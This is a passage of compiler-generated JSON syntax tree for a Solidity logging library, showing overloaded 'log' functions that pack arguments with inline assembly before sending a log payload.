28"},"value":"0x1c"},{"hexValue":"30786334","id":44873,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"340470:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44871,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"340448:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"340448:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44875,"nodeType":"ExpressionStatement","src":"340448:27:22"},{"AST":{"nativeSrc":"340494:214:22","nodeType":"YulBlock","src":"340494:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"340515:4:22","nodeType":"YulLiteral","src":"340515:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"340521:2:22","nodeType":"YulIdentifier","src":"340521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340508:6:22","nodeType":"YulIdentifier","src":"340508:6:22"},"nativeSrc":"340508:16:22","nodeType":"YulFunctionCall","src":"340508:16:22"},"nativeSrc":"340508:16:22","nodeType":"YulExpressionStatement","src":"340508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340544:4:22","nodeType":"YulLiteral","src":"340544:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"340550:2:22","nodeType":"YulIdentifier","src":"340550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340537:6:22","nodeType":"YulIdentifier","src":"340537:6:22"},"nativeSrc":"340537:16:22","nodeType":"YulFunctionCall","src":"340537:16:22"},"nativeSrc":"340537:16:22","nodeType":"YulExpressionStatement","src":"340537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340573:4:22","nodeType":"YulLiteral","src":"340573:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"340579:2:22","nodeType":"YulIdentifier","src":"340579:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340566:6:22","nodeType":"YulIdentifier","src":"340566:6:22"},"nativeSrc":"340566:16:22","nodeType":"YulFunctionCall","src":"340566:16:22"},"nativeSrc":"340566:16:22","nodeType":"YulExpressionStatement","src":"340566:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340602:4:22","nodeType":"YulLiteral","src":"340602:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"340608:2:22","nodeType":"YulIdentifier","src":"340608:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340595:6:22","nodeType":"YulIdentifier","src":"340595:6:22"},"nativeSrc":"340595:16:22","nodeType":"YulFunctionCall","src":"340595:16:22"},"nativeSrc":"340595:16:22","nodeType":"YulExpressionStatement","src":"340595:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340631:4:22","nodeType":"YulLiteral","src":"340631:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"340637:2:22","nodeType":"YulIdentifier","src":"340637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340624:6:22","nodeType":"YulIdentifier","src":"340624:6:22"},"nativeSrc":"340624:16:22","nodeType":"YulFunctionCall","src":"340624:16:22"},"nativeSrc":"340624:16:22","nodeType":"YulExpressionStatement","src":"340624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340660:4:22","nodeType":"YulLiteral","src":"340660:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"340666:2:22","nodeType":"YulIdentifier","src":"340666:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340653:6:22","nodeType":"YulIdentifier","src":"340653:6:22"},"nativeSrc":"340653:16:22","nodeType":"YulFunctionCall","src":"340653:16:22"},"nativeSrc":"340653:16:22","nodeType":"YulExpressionStatement","src":"340653:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340689:4:22","nodeType":"YulLiteral","src":"340689:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"340695:2:22","nodeType":"YulIdentifier","src":"340695:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340682:6:22","nodeType":"YulIdentifier","src":"340682:6:22"},"nativeSrc":"340682:16:22","nodeType":"YulFunctionCall","src":"340682:16:22"},"nativeSrc":"340682:16:22","nodeType":"YulExpressionStatement","src":"340682:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44850,"isOffset":false,"isSlot":false,"src":"340521:2:22","valueSize":1},{"declaration":44853,"isOffset":false,"isSlot":false,"src":"340550:2:22","valueSize":1},{"declaration":44856,"isOffset":false,"isSlot":false,"src":"340579:2:22","valueSize":1},{"declaration":44859,"isOffset":false,"isSlot":false,"src":"340608:2:22","valueSize":1},{"declaration":44862,"isOffset":false,"isSlot":false,"src":"340637:2:22","valueSize":1},{"declaration":44865,"isOffset":false,"isSlot":false,"src":"340666:2:22","valueSize":1},{"declaration":44868,"isOffset":false,"isSlot":false,"src":"340695:2:22","valueSize":1}],"id":44876,"nodeType":"InlineAssembly","src":"340485:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"339389:3:22","parameters":{"id":44847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44840,"mutability":"mutable","name":"p0","nameLocation":"339401:2:22","nodeType":"VariableDeclaration","scope":44878,"src":"339393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44839,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339393:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44842,"mutability":"mutable","name":"p1","nameLocation":"339410:2:22","nodeType":"VariableDeclaration","scope":44878,"src":"339405:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44841,"name":"bool","nodeType":"ElementaryTypeName","src":"339405:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44844,"mutability":"mutable","name":"p2","nameLocation":"339422:2:22","nodeType":"VariableDeclaration","scope":44878,"src":"339414:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44843,"name":"uint256","nodeType":"ElementaryTypeName","src":"339414:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44846,"mutability":"mutable","name":"p3","nameLocation":"339434:2:22","nodeType":"VariableDeclaration","scope":44878,"src":"339426:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44845,"name":"uint256","nodeType":"ElementaryTypeName","src":"339426:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"339392:45:22"},"returnParameters":{"id":44848,"nodeType":"ParameterList","parameters":[],"src":"339452:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44924,"nodeType":"FunctionDefinition","src":"340720:1530:22","nodes":[],"body":{"id":44923,"nodeType":"Block","src":"340792:1458:22","nodes":[],"statements":[{"assignments":[44890],"declarations":[{"constant":false,"id":44890,"mutability":"mutable","name":"m0","nameLocation":"340810:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340802:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44889,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340802:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44891,"nodeType":"VariableDeclarationStatement","src":"340802:10:22"},{"assignments":[44893],"declarations":[{"constant":false,"id":44893,"mutability":"mutable","name":"m1","nameLocation":"340830:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340822:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44892,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340822:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44894,"nodeType":"VariableDeclarationStatement","src":"340822:10:22"},{"assignments":[44896],"declarations":[{"constant":false,"id":44896,"mutability":"mutable","name":"m2","nameLocation":"340850:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340842:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44895,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340842:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44897,"nodeType":"VariableDeclarationStatement","src":"340842:10:22"},{"assignments":[44899],"declarations":[{"constant":false,"id":44899,"mutability":"mutable","name":"m3","nameLocation":"340870:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340862:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44898,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340862:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44900,"nodeType":"VariableDeclarationStatement","src":"340862:10:22"},{"assignments":[44902],"declarations":[{"constant":false,"id":44902,"mutability":"mutable","name":"m4","nameLocation":"340890:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340882:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44901,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340882:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44903,"nodeType":"VariableDeclarationStatement","src":"340882:10:22"},{"assignments":[44905],"declarations":[{"constant":false,"id":44905,"mutability":"mutable","name":"m5","nameLocation":"340910:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340902:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44904,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340902:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44906,"nodeType":"VariableDeclarationStatement","src":"340902:10:22"},{"assignments":[44908],"declarations":[{"constant":false,"id":44908,"mutability":"mutable","name":"m6","nameLocation":"340930:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340922:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44907,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340922:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44909,"nodeType":"VariableDeclarationStatement","src":"340922:10:22"},{"assignments":[44911],"declarations":[{"constant":false,"id":44911,"mutability":"mutable","name":"m7","nameLocation":"340950:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340942:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44910,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340942:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44912,"nodeType":"VariableDeclarationStatement","src":"340942:10:22"},{"assignments":[44914],"declarations":[{"constant":false,"id":44914,"mutability":"mutable","name":"m8","nameLocation":"340970:2:22","nodeType":"VariableDeclaration","scope":44923,"src":"340962:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44913,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340962:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44915,"nodeType":"VariableDeclarationStatement","src":"340962:10:22"},{"AST":{"nativeSrc":"340991:924:22","nodeType":"YulBlock","src":"340991:924:22","statements":[{"body":{"nativeSrc":"341034:313:22","nodeType":"YulBlock","src":"341034:313:22","statements":[{"nativeSrc":"341052:15:22","nodeType":"YulVariableDeclaration","src":"341052:15:22","value":{"kind":"number","nativeSrc":"341066:1:22","nodeType":"YulLiteral","src":"341066:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"341056:6:22","nodeType":"YulTypedName","src":"341056:6:22","type":""}]},{"body":{"nativeSrc":"341137:40:22","nodeType":"YulBlock","src":"341137:40:22","statements":[{"body":{"nativeSrc":"341166:9:22","nodeType":"YulBlock","src":"341166:9:22","statements":[{"nativeSrc":"341168:5:22","nodeType":"YulBreak","src":"341168:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"341154:6:22","nodeType":"YulIdentifier","src":"341154:6:22"},{"name":"w","nativeSrc":"341162:1:22","nodeType":"YulIdentifier","src":"341162:1:22"}],"functionName":{"name":"byte","nativeSrc":"341149:4:22","nodeType":"YulIdentifier","src":"341149:4:22"},"nativeSrc":"341149:15:22","nodeType":"YulFunctionCall","src":"341149:15:22"}],"functionName":{"name":"iszero","nativeSrc":"341142:6:22","nodeType":"YulIdentifier","src":"341142:6:22"},"nativeSrc":"341142:23:22","nodeType":"YulFunctionCall","src":"341142:23:22"},"nativeSrc":"341139:36:22","nodeType":"YulIf","src":"341139:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"341094:6:22","nodeType":"YulIdentifier","src":"341094:6:22"},{"kind":"number","nativeSrc":"341102:4:22","nodeType":"YulLiteral","src":"341102:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"341091:2:22","nodeType":"YulIdentifier","src":"341091:2:22"},"nativeSrc":"341091:16:22","nodeType":"YulFunctionCall","src":"341091:16:22"},"nativeSrc":"341084:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"341108:28:22","nodeType":"YulBlock","src":"341108:28:22","statements":[{"nativeSrc":"341110:24:22","nodeType":"YulAssignment","src":"341110:24:22","value":{"arguments":[{"name":"length","nativeSrc":"341124:6:22","nodeType":"YulIdentifier","src":"341124:6:22"},{"kind":"number","nativeSrc":"341132:1:22","nodeType":"YulLiteral","src":"341132:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"341120:3:22","nodeType":"YulIdentifier","src":"341120:3:22"},"nativeSrc":"341120:14:22","nodeType":"YulFunctionCall","src":"341120:14:22"},"variableNames":[{"name":"length","nativeSrc":"341110:6:22","nodeType":"YulIdentifier","src":"341110:6:22"}]}]},"pre":{"nativeSrc":"341088:2:22","nodeType":"YulBlock","src":"341088:2:22","statements":[]},"src":"341084:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"341201:3:22","nodeType":"YulIdentifier","src":"341201:3:22"},{"name":"length","nativeSrc":"341206:6:22","nodeType":"YulIdentifier","src":"341206:6:22"}],"functionName":{"name":"mstore","nativeSrc":"341194:6:22","nodeType":"YulIdentifier","src":"341194:6:22"},"nativeSrc":"341194:19:22","nodeType":"YulFunctionCall","src":"341194:19:22"},"nativeSrc":"341194:19:22","nodeType":"YulExpressionStatement","src":"341194:19:22"},{"nativeSrc":"341230:37:22","nodeType":"YulVariableDeclaration","src":"341230:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"341247:3:22","nodeType":"YulLiteral","src":"341247:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"341256:1:22","nodeType":"YulLiteral","src":"341256:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"341259:6:22","nodeType":"YulIdentifier","src":"341259:6:22"}],"functionName":{"name":"shl","nativeSrc":"341252:3:22","nodeType":"YulIdentifier","src":"341252:3:22"},"nativeSrc":"341252:14:22","nodeType":"YulFunctionCall","src":"341252:14:22"}],"functionName":{"name":"sub","nativeSrc":"341243:3:22","nodeType":"YulIdentifier","src":"341243:3:22"},"nativeSrc":"341243:24:22","nodeType":"YulFunctionCall","src":"341243:24:22"},"variables":[{"name":"shift","nativeSrc":"341234:5:22","nodeType":"YulTypedName","src":"341234:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"341295:3:22","nodeType":"YulIdentifier","src":"341295:3:22"},{"kind":"number","nativeSrc":"341300:4:22","nodeType":"YulLiteral","src":"341300:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"341291:3:22","nodeType":"YulIdentifier","src":"341291:3:22"},"nativeSrc":"341291:14:22","nodeType":"YulFunctionCall","src":"341291:14:22"},{"arguments":[{"name":"shift","nativeSrc":"341311:5:22","nodeType":"YulIdentifier","src":"341311:5:22"},{"arguments":[{"name":"shift","nativeSrc":"341322:5:22","nodeType":"YulIdentifier","src":"341322:5:22"},{"name":"w","nativeSrc":"341329:1:22","nodeType":"YulIdentifier","src":"341329:1:22"}],"functionName":{"name":"shr","nativeSrc":"341318:3:22","nodeType":"YulIdentifier","src":"341318:3:22"},"nativeSrc":"341318:13:22","nodeType":"YulFunctionCall","src":"341318:13:22"}],"functionName":{"name":"shl","nativeSrc":"341307:3:22","nodeType":"YulIdentifier","src":"341307:3:22"},"nativeSrc":"341307:25:22","nodeType":"YulFunctionCall","src":"341307:25:22"}],"functionName":{"name":"mstore","nativeSrc":"341284:6:22","nodeType":"YulIdentifier","src":"341284:6:22"},"nativeSrc":"341284:49:22","nodeType":"YulFunctionCall","src":"341284:49:22"},"nativeSrc":"341284:49:22","nodeType":"YulExpressionStatement","src":"341284:49:22"}]},"name":"writeString","nativeSrc":"341005:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"341026:3:22","nodeType":"YulTypedName","src":"341026:3:22","type":""},{"name":"w","nativeSrc":"341031:1:22","nodeType":"YulTypedName","src":"341031:1:22","type":""}],"src":"341005:342:22"},{"nativeSrc":"341360:17:22","nodeType":"YulAssignment","src":"341360:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341372:4:22","nodeType":"YulLiteral","src":"341372:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"341366:5:22","nodeType":"YulIdentifier","src":"341366:5:22"},"nativeSrc":"341366:11:22","nodeType":"YulFunctionCall","src":"341366:11:22"},"variableNames":[{"name":"m0","nativeSrc":"341360:2:22","nodeType":"YulIdentifier","src":"341360:2:22"}]},{"nativeSrc":"341390:17:22","nodeType":"YulAssignment","src":"341390:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341402:4:22","nodeType":"YulLiteral","src":"341402:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"341396:5:22","nodeType":"YulIdentifier","src":"341396:5:22"},"nativeSrc":"341396:11:22","nodeType":"YulFunctionCall","src":"341396:11:22"},"variableNames":[{"name":"m1","nativeSrc":"341390:2:22","nodeType":"YulIdentifier","src":"341390:2:22"}]},{"nativeSrc":"341420:17:22","nodeType":"YulAssignment","src":"341420:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341432:4:22","nodeType":"YulLiteral","src":"341432:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"341426:5:22","nodeType":"YulIdentifier","src":"341426:5:22"},"nativeSrc":"341426:11:22","nodeType":"YulFunctionCall","src":"341426:11:22"},"variableNames":[{"name":"m2","nativeSrc":"341420:2:22","nodeType":"YulIdentifier","src":"341420:2:22"}]},{"nativeSrc":"341450:17:22","nodeType":"YulAssignment","src":"341450:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341462:4:22","nodeType":"YulLiteral","src":"341462:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"341456:5:22","nodeType":"YulIdentifier","src":"341456:5:22"},"nativeSrc":"341456:11:22","nodeType":"YulFunctionCall","src":"341456:11:22"},"variableNames":[{"name":"m3","nativeSrc":"341450:2:22","nodeType":"YulIdentifier","src":"341450:2:22"}]},{"nativeSrc":"341480:17:22","nodeType":"YulAssignment","src":"341480:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341492:4:22","nodeType":"YulLiteral","src":"341492:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"341486:5:22","nodeType":"YulIdentifier","src":"341486:5:22"},"nativeSrc":"341486:11:22","nodeType":"YulFunctionCall","src":"341486:11:22"},"variableNames":[{"name":"m4","nativeSrc":"341480:2:22","nodeType":"YulIdentifier","src":"341480:2:22"}]},{"nativeSrc":"341510:17:22","nodeType":"YulAssignment","src":"341510:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341522:4:22","nodeType":"YulLiteral","src":"341522:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"341516:5:22","nodeType":"YulIdentifier","src":"341516:5:22"},"nativeSrc":"341516:11:22","nodeType":"YulFunctionCall","src":"341516:11:22"},"variableNames":[{"name":"m5","nativeSrc":"341510:2:22","nodeType":"YulIdentifier","src":"341510:2:22"}]},{"nativeSrc":"341540:17:22","nodeType":"YulAssignment","src":"341540:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341552:4:22","nodeType":"YulLiteral","src":"341552:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"341546:5:22","nodeType":"YulIdentifier","src":"341546:5:22"},"nativeSrc":"341546:11:22","nodeType":"YulFunctionCall","src":"341546:11:22"},"variableNames":[{"name":"m6","nativeSrc":"341540:2:22","nodeType":"YulIdentifier","src":"341540:2:22"}]},{"nativeSrc":"341570:17:22","nodeType":"YulAssignment","src":"341570:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"341582:4:22","nodeType":"YulLiteral","src":"341582:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"341576:5:22","nodeType":"YulIdentifier","src":"341576:5:22"},"nativeSrc":"341576:11:22","nodeType":"YulFunctionCall","src":"341576:11:22"},"variableNames":[{"name":"m7","nativeSrc":"341570:2:22","nodeType":"YulIdentifier","src":"341570:2:22"}]},{"nativeSrc":"341600:18:22","nodeType":"YulAssignment","src":"341600:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"341612:5:22","nodeType":"YulLiteral","src":"341612:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"341606:5:22","nodeType":"YulIdentifier","src":"341606:5:22"},"nativeSrc":"341606:12:22","nodeType":"YulFunctionCall","src":"341606:12:22"},"variableNames":[{"name":"m8","nativeSrc":"341600:2:22","nodeType":"YulIdentifier","src":"341600:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341700:4:22","nodeType":"YulLiteral","src":"341700:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"341706:10:22","nodeType":"YulLiteral","src":"341706:10:22","type":"","value":"0x742d6ee7"}],"functionName":{"name":"mstore","nativeSrc":"341693:6:22","nodeType":"YulIdentifier","src":"341693:6:22"},"nativeSrc":"341693:24:22","nodeType":"YulFunctionCall","src":"341693:24:22"},"nativeSrc":"341693:24:22","nodeType":"YulExpressionStatement","src":"341693:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341737:4:22","nodeType":"YulLiteral","src":"341737:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"341743:4:22","nodeType":"YulLiteral","src":"341743:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"341730:6:22","nodeType":"YulIdentifier","src":"341730:6:22"},"nativeSrc":"341730:18:22","nodeType":"YulFunctionCall","src":"341730:18:22"},"nativeSrc":"341730:18:22","nodeType":"YulExpressionStatement","src":"341730:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341768:4:22","nodeType":"YulLiteral","src":"341768:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"341774:2:22","nodeType":"YulIdentifier","src":"341774:2:22"}],"functionName":{"name":"mstore","nativeSrc":"341761:6:22","nodeType":"YulIdentifier","src":"341761:6:22"},"nativeSrc":"341761:16:22","nodeType":"YulFunctionCall","src":"341761:16:22"},"nativeSrc":"341761:16:22","nodeType":"YulExpressionStatement","src":"341761:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341797:4:22","nodeType":"YulLiteral","src":"341797:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"341803:2:22","nodeType":"YulIdentifier","src":"341803:2:22"}],"functionName":{"name":"mstore","nativeSrc":"341790:6:22","nodeType":"YulIdentifier","src":"341790:6:22"},"nativeSrc":"341790:16:22","nodeType":"YulFunctionCall","src":"341790:16:22"},"nativeSrc":"341790:16:22","nodeType":"YulExpressionStatement","src":"341790:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341826:4:22","nodeType":"YulLiteral","src":"341826:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"341832:4:22","nodeType":"YulLiteral","src":"341832:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"341819:6:22","nodeType":"YulIdentifier","src":"341819:6:22"},"nativeSrc":"341819:18:22","nodeType":"YulFunctionCall","src":"341819:18:22"},"nativeSrc":"341819:18:22","nodeType":"YulExpressionStatement","src":"341819:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341862:4:22","nodeType":"YulLiteral","src":"341862:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"341868:2:22","nodeType":"YulIdentifier","src":"341868:2:22"}],"functionName":{"name":"writeString","nativeSrc":"341850:11:22","nodeType":"YulIdentifier","src":"341850:11:22"},"nativeSrc":"341850:21:22","nodeType":"YulFunctionCall","src":"341850:21:22"},"nativeSrc":"341850:21:22","nodeType":"YulExpressionStatement","src":"341850:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"341896:4:22","nodeType":"YulLiteral","src":"341896:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"341902:2:22","nodeType":"YulIdentifier","src":"341902:2:22"}],"functionName":{"name":"writeString","nativeSrc":"341884:11:22","nodeType":"YulIdentifier","src":"341884:11:22"},"nativeSrc":"341884:21:22","nodeType":"YulFunctionCall","src":"341884:21:22"},"nativeSrc":"341884:21:22","nodeType":"YulExpressionStatement","src":"341884:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44890,"isOffset":false,"isSlot":false,"src":"341360:2:22","valueSize":1},{"declaration":44893,"isOffset":false,"isSlot":false,"src":"341390:2:22","valueSize":1},{"declaration":44896,"isOffset":false,"isSlot":false,"src":"341420:2:22","valueSize":1},{"declaration":44899,"isOffset":false,"isSlot":false,"src":"341450:2:22","valueSize":1},{"declaration":44902,"isOffset":false,"isSlot":false,"src":"341480:2:22","valueSize":1},{"declaration":44905,"isOffset":false,"isSlot":false,"src":"341510:2:22","valueSize":1},{"declaration":44908,"isOffset":false,"isSlot":false,"src":"341540:2:22","valueSize":1},{"declaration":44911,"isOffset":false,"isSlot":false,"src":"341570:2:22","valueSize":1},{"declaration":44914,"isOffset":false,"isSlot":false,"src":"341600:2:22","valueSize":1},{"declaration":44880,"isOffset":false,"isSlot":false,"src":"341868:2:22","valueSize":1},{"declaration":44882,"isOffset":false,"isSlot":false,"src":"341774:2:22","valueSize":1},{"declaration":44884,"isOffset":false,"isSlot":false,"src":"341803:2:22","valueSize":1},{"declaration":44886,"isOffset":false,"isSlot":false,"src":"341902:2:22","valueSize":1}],"id":44916,"nodeType":"InlineAssembly","src":"340982:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44918,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"341940:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44919,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"341946:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44917,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"341924:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 